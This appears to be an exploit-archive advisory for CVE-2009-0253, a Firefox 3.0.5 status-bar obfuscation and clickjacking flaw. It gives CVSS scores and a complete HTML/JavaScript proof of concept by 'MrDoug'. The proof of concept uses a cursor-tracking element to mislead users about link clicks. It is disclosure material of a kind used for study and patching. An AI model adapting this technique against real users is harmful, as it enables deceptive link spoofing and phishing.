Firefox 3.0.5 Status Bar Obfuscation / Clickjacking

2009.01.23

Credit: MrDoug

Risk: Medium

Local: No

Remote: Yes

CVE: CVE-2009-0253

CWE: NVD-CWE-Other

CVSS Base Score: 6.8/10

Impact Subscore: 6.4/10

Exploitability Subscore: 8.6/10

Exploit range: Remote

Attack complexity: Medium

Authentication: No required

Confidentiality impact: Partial

Integrity impact: Partial

Availability impact: Partial

Firefox 3.0.5 Status Bar Obfuscation / Clickjacking
===========================================

<html>
<body>
<div id="mydiv"
style="position:absolute;width:2px;height:2px;background:#FFFFFF;border:0px"></div>
<script>
function updatebox(evt) {
mouseX=evt.pageX?evt.pageX:evt.clientX;
mouseY=evt.pageY?evt.pageY:evt.clientY;
document.getElementById('mydiv').style.left=mouseX-1;
document.getElementById('mydiv').style.top=mouseY-1;
}
</script>
<center>
<br>
<font style="font-family:arial;font-size:32px">Status Bar Obfuscation
/ Clickjacking</font><br>
<font style="font-family:arial;font-size:24px">By MrDoug</font><br>
<br>
<hr size="3" width="500" color="#000000">
<br>
<font style="font-family:arial;font-size:20px">Click the VALID link to
<br>
<a href="http://www.google.com" onclick="updatebox(event)"><font
style="font-family:arial;font-size:32px">http://www.google.com</font></a><br>
<br>
<hr size="3" width="500" color="#000000">
<br>
<font style="font-family:arial;font-size:16px">Greetz to Slappywag</font><br>
</center>
<div style="position:absolute;bottom:0;">
<font style="font-family:arial;font-size:32px">Note this...<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;|&nbsp;<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;V
</font>
</div>
</body>
</html>

===========================================
MrDoug
mrdoug13[at]gmail[dot]com

References:

http://www.milw0rm.com/exploits/7842

See this note in RAW Version

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Firefox 3.0.5 Status Bar Obfuscation / Clickjacking

References:

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